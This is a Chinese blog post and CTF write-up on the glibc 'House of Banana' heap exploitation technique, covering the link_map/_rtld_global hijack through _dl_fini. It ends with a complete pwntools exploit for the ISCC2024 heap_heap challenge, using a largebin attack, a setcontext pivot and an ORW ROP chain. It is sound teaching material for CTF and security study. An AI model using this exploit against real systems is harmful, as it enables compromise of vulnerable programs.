house of banana
Zach0ry Lv4

原理解释

House of Banana 是一种针对 libc-2.31 及更高版本(如 2.32, 2.34 等)的堆利用技术。在这些版本中,传统的 __malloc_hook__free_hook 逐渐被移除或变为只读,这使得传统的 Hook 劫持手段失效。

House of Banana 的核心在于劫持动态链接器(ld.so)中的 _rtld_global 结构体,通过伪造 link_map 链表,在程序退出(调用 exit 或从 main 返回)时触发 ROP 或执行任意函数。

特性 House of Banana House of Orange / Emma
劫持目标 _rtld_global / link_map _IO_list_all (FILE 结构体)
触发函数 _dl_fini _IO_cleanup / _IO_flush_all_lockp
逻辑深度 更早(在 __exit_funcs 任务链执行中) 更晚(在所有任务执行完,刷新缓冲区时)
优势 绕过 2.34+ 后的各种 IO vtable 保护 适用于程序发生 Crash (Abort) 时的利用

完整调用逻辑

当一个程序(尤其是大型工程)退出时,它加载了很多动态库(如 libc.so, libssl.so)。这些库在加载时可能申请了全局资源或锁,必须在程序彻底消失前进行清理。

1
2
3
4
5
6
7
8
9
10
11
12
13
main() 结束

exit() (程序退出函数)

__run_exit_handlers() (执行所有退出钩子)

__call_tls_dtors() (销毁线程局部存储)

_dl_fini() 【⭐⭐⭐ 这就是 House of Banana 的核心函数!】

清理所有动态库(_rtld_global._ns_loaded → link_map1 → link_map2 → link_map3...)

进程真正结束

_ns_loaded:链表头

link_map:每个库的信息结构体

_rtld_global 是动态链接器(ld.so)的心脏。它是一个巨大的结构体,记录了程序运行时的所有动态信息。其中最关键的成员是 _dl_ns(命名空间数组),而 _dl_ns[0]._ns_loaded 存放的就是所有已加载库的链表(link_map)头指针

程序运行的时候可能是这样的

1
2
3
4
5
>[pwn]      ← 主程序
>[libc.so] ← C库
>[ld.so] ← 动态链接器
>[libm.so] ← 数学库(如果用到)
>...

glibc 用一个链表:

1
>link_map → link_map → link_map

每个节点代表一个“加载的 ELF”

eg:

1
2
3
4
5
6
>_rtld_global._dl_ns[0]._ns_loaded
>↓
>[link_map(pwn)]
>l_next → [link_map(libc)]
l_next → [link_map(ld.so)]
l_next → NULL

只有调用dlmopen(LM_ID_NEWLM, ...)时才会

1
2
3
4
5
>_rtld_global
>├── _dl_ns[0]
>│ └── [pwn] → [libc]
>├── _dl_ns[1]
>│ └── [另一套 libc]

第一阶段:从 __run_exit_handlers 切换赛道

  1. exit() 调用 __run_exit_handlers
  2. 它像翻书一样翻阅 __exit_funcs 任务列表。
  3. 读到 _dl_fini 这个条目时,控制权交给了 ld.so

第二阶段:_dl_fini 寻踪(House of Banana 发生点)

进入 _dl_fini 后,它需要知道该清理哪些库。它不会自己去查内存,而是直接向“大管家”发问:

  • 步骤 A (寻表)_dl_fini 读取 _rtld_global._dl_ns[0]._ns_loaded
    • 正常逻辑:拿到真实的 link_map 链表。
    • Banana 逻辑:由于 Large Bin Attack,它拿到的是堆地址。它从此认为你的堆就是链表头。
  • 步骤 B (遍历与校验)_dl_fini 开始遍历链表节点。
    1. 它读取 link_map->l_init_called。如果是 1,说明该库运行过,需要清理。
    2. 它读取 link_map->l_next。如果有值,说明后面还有库;如果是 NULL,说明这是最后一个库。

第三阶段:解析 link_map 内部的“动作指令”

一旦确定这个节点需要清理,_dl_fini 会通过 link_map 寻找析构函数(Destructors):

  1. 访问 l_info 指针数组link_map 中有一个成员 l_info(偏移 0x40 开始)。它是一个指针数组,索引 26 对应 DT_FINI_ARRAY
  2. 二级跳转解析
    • 它读取 l_info[26]。这应该是一个指向 Elf64_Dyn 结构体的指针。
    • 从这个结构体+8读取 d_un.d_ptr(偏移量)。
  3. 最终地址计算
    • 清理函数数组地址 = l_addr (库基址) + d_ptr (函数数组偏移)
    • 此时,_dl_fini 已经完全按照你在堆上布置的“虚假指令”算出了一个地址。

第四阶段:执行(Hijack 执行流)

最后,_dl_fini 认为自己找到了这个库的析构函数数组。它会从这个数组里取出第一个指针并执行: ((void (*) (void)) array[i]) (); 此时,控制流彻底落入攻击者手中(通常跳转到 setcontext 或 ROP)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
_dl_fini (void)//程序退出时,遍历所有库,执行它们的清理函数。
{
...
struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
if (l == l->l_real) //1.检查节点的地址是否跟自己结构体保存的一致 {
assert (i < nloaded);
maps[i] = l;//通过检查的放入maps中
l->l_idx = i;
++i;
++l->l_direct_opencount;
}
//检查是或漏库
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;
//排序解锁函数
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),NULL, true);
__rtld_lock_unlock_recursive (GL(dl_load_lock));

for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i]; //l遍历link_map的链表

if (l->l_init_called) //2.l_init_called必须是1,必须是
{
l->l_init_called = 0;

if (l->l_info[DT_FINI_ARRAY] != NULL//3.apply不为空
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",DSO_FILENAME (l->l_name),ns);

if (l->l_info[DT_FINI_ARRAY] != NULL)
{//找执行函数
ElfW(Addr) *array =(ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //目标位置
}

....
}

p _rtld_global

p (struct link_map)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct link_map {
/* 0x00 */ Elf64_Addr l_addr; /* 共享对象的加载基地址 */
/* 0x08 */ char *l_name; /* 库的绝对路径名 */
/* 0x10 */ Elf64_Dyn *l_ld; /* 指向 .dynamic 段的指针 */
/* 0x18 */ struct link_map *l_next; /* 链表后继节点 */
/* 0x20 */ struct link_map *l_prev; /* 链表前驱节点 */
/* 0x28 */ struct link_map *l_real; /* 实际指向的结构(通常指向自己) */
/* 0x30 */ Lmid_t l_ns; /* 命名空间 ID */
/* 0x38 */ struct libname_list *l_libname;

/* 关键:l_info 数组,包含了所有动态段的指针映射 */
/* 0x40 */ Elf64_Dyn *l_info[77]; /* 包含 DT_FINI_ARRAY, DT_STRTAB 等 */

/* ... 后面还有很多字段,但在 _dl_fini 利用中,前 0x40 + 77*8 字节最重要 ... */
};

恢复l_next 字段原本的值,这样之后的 link_map 就不用再伪造了。(因为在遍历时需要有三个以上的link_map结构体)

l_real 字段改为伪造的 link_map 地址,以便满足 if (l == l->l_real) ,确保不会触发 assert

l_info[26] 的值设置为非空,为了满足 if (l->l_info[DT_FINI_ARRAY] != NULL)

l->l_info[26] 的值设置为 l->l_info[26] 的地址,那么 l->l_info[27] 中的值则是 array

l->l_info[28] 的值设置为 l->l_info[28] 的地址,那么 l->l_info[29] 中的值再除 8 ,则是最后的 i

攻击流程

1.泄露libc和堆地址

2.largebin攻击把_rtld_global移动到一个可控地址中

3.在堆地址中伪造_rtld_global结构体,在堆上放置orw

4.触发exit

例题精讲

ISCC2024的heap_heap
2.31的libc

image

有一个uaf漏洞

经典泄露libc和堆地址

image

part1

image

part2

link_map 结构体的起始地址:0x7f3cd0454190(起始地址)

image

image

part3

setcontext将 rdx 指向的内存区域看作一个 ucontext_t 结构体。

setcontext + 0x3d 开始,它会执行一系列类似的汇编指令:

  • mov rsp, [rdx + 0xa0] (把 rdx+0xa0 地址处的内容给 rsp
  • mov rbx, [rdx + 0x80]
  • mov rdi, [rdx + 0x68]
  • … 以及你代码中看到的 rsi, rdx, rcx 等。

查看setcontext

1
disass setcontext
1
b *(setcontext + 0x3d)

image

ret的地址是r10的0xa8处

image

part4

read(0, heap + 0x940, 0x100) 执行完并准备返回(ret)时,CPU 会去当前的 RSP 指向的地方寻找返回地址。因为此时 RSP 已经在堆上了,所以程序会从堆上读取数据作为下一条指令执行。

image

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *

filename = './heapheap'
context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]
debug = 0
if debug :
io = remote('182.92.237.102', 11000)
else:
io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

libc = ELF('./libc-2.31.so')

def dbg():
gdb.attach(io)
pause()

def add(index, size):
io.sendlineafter('choice:\n', '1')
io.sendlineafter('index:\n', str(index))
io.sendlineafter('Size:\n', str(size))

def show(index):
io.sendlineafter('choice:\n', '2')
io.sendlineafter('index:\n', str(index))
io.recvuntil('context: \n')

def edit(index, content):
io.sendlineafter('choice:\n', '3')
io.sendlineafter('index:\n', str(index))
io.sendafter('context: \n', content)

def delete(index):
io.sendlineafter('choice:\n', '4')
io.sendlineafter('index:\n', str(index))

add(0, 0x428)
add(1, 0x500)
add(2, 0x418)
delete(0)
add(3, 0x500)
show(0)
large_430 = u64(io.recv(6).ljust(8, b'\x00'))
libcbase = large_430 - 0x430 - 0x30 - libc.sym['__malloc_hook']
libc.address = libcbase
rdi = libcbase + 0x23b6a
rsi = libcbase + 0x2601f
rdx = libcbase + 0x119431
ret = libcbase + 0x22679
success('libcbase =>> ' + hex(libcbase))
edit(0, b'A' * 0x10)
show(0)
io.recv(0x10)
heap = u64(io.recv(6).ljust(8, b'\x00'))
success('heap =>> ' + hex(heap))
# dbg()

# dbg()
ld_remote_off = 0x6000
_rtld_global = libcbase +0x222060
success('_rtld_global =>> ' + hex(_rtld_global))

delete(2)
edit(0, p64(large_430) + p64(large_430) + p64(heap) + p64(_rtld_global - 0x20))
add(4, 0x500)
success('_rtld_global =>> ' + hex(_rtld_global))
# dbg()
setcontext = libc.sym['setcontext'] + 0x3d



#前0x40是l_addr, l_next, l_real 等单体成员
link_map = p64(0) #l_addr,主程序基址,设为0方便后面做加法
link_map += p64(_rtld_global + 0x16e0) #l_next
link_map += p64(0) #l_prev
link_map += p64(heap + 0x940) #l_real。必须指向自己!
link_map += p64(0) *4



# 👇 这里开始是 l_info[]
link_map += p64(0) *24
link_map += p64(heap + 0xa50)#l_info[DT_FINI_ARRAY](索引 26),指向 fake Elf64_Dyn
link_map += p64(heap + 0xa50)#
link_map += p64(heap + 0xa60)# l_info[DT_FINI_ARRAYSZ](索引 28),指向fake_size
link_map += p64(0x40)# fake Dyn->d_un.d_val(size = 0x40),表示 array 有 0x40 / 8 = 8 个函数
link_map += b'flag\x00\x00\x00\x00'
link_map += p64(0)
link_map += p64(setcontext)# array[6],_dl_fini 最终调用这里
link_map += p64(ret)# array[7],栈对齐(有时需要)





#👇 这里开始是setcontext
link_map += p64(0) * 12
link_map += p64(0)#rdi
link_map += p64(heap + 0x940)#rsi
link_map += p64(0) * 2
link_map += p64(0x100)#rdx
link_map += p64(0) * 2
link_map += p64(heap + 0x940)#rsp
link_map += p64(libc.sym['read'])#ret
link_map += p64(0) * 36
link_map += p64(0xf00000000)# 👉 sigmask
edit(2, link_map)
# dbg()

io.sendlineafter('choice:\n', '5')
pay=p64(rdi) + p64(heap + 0xa70)+p64(rsi) + p64(0) + p64(libc.sym['open'])
pay+=p64(rdi) + p64(3) + p64(rsi) + p64(heap)+p64(rdx) + p64(0x50) + p64(0) + p64(libc.sym['read'])
pay+=p64(rdi) + p64(1) + p64(rsi) + p64(heap)+p64(rdx) + p64(0x50) + p64(0) + p64(libc.sym['write'])

io.send(pay)
io.interactive()
 请作者喝杯咖啡
 Comments
Comment plugin failed to load
Loading comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View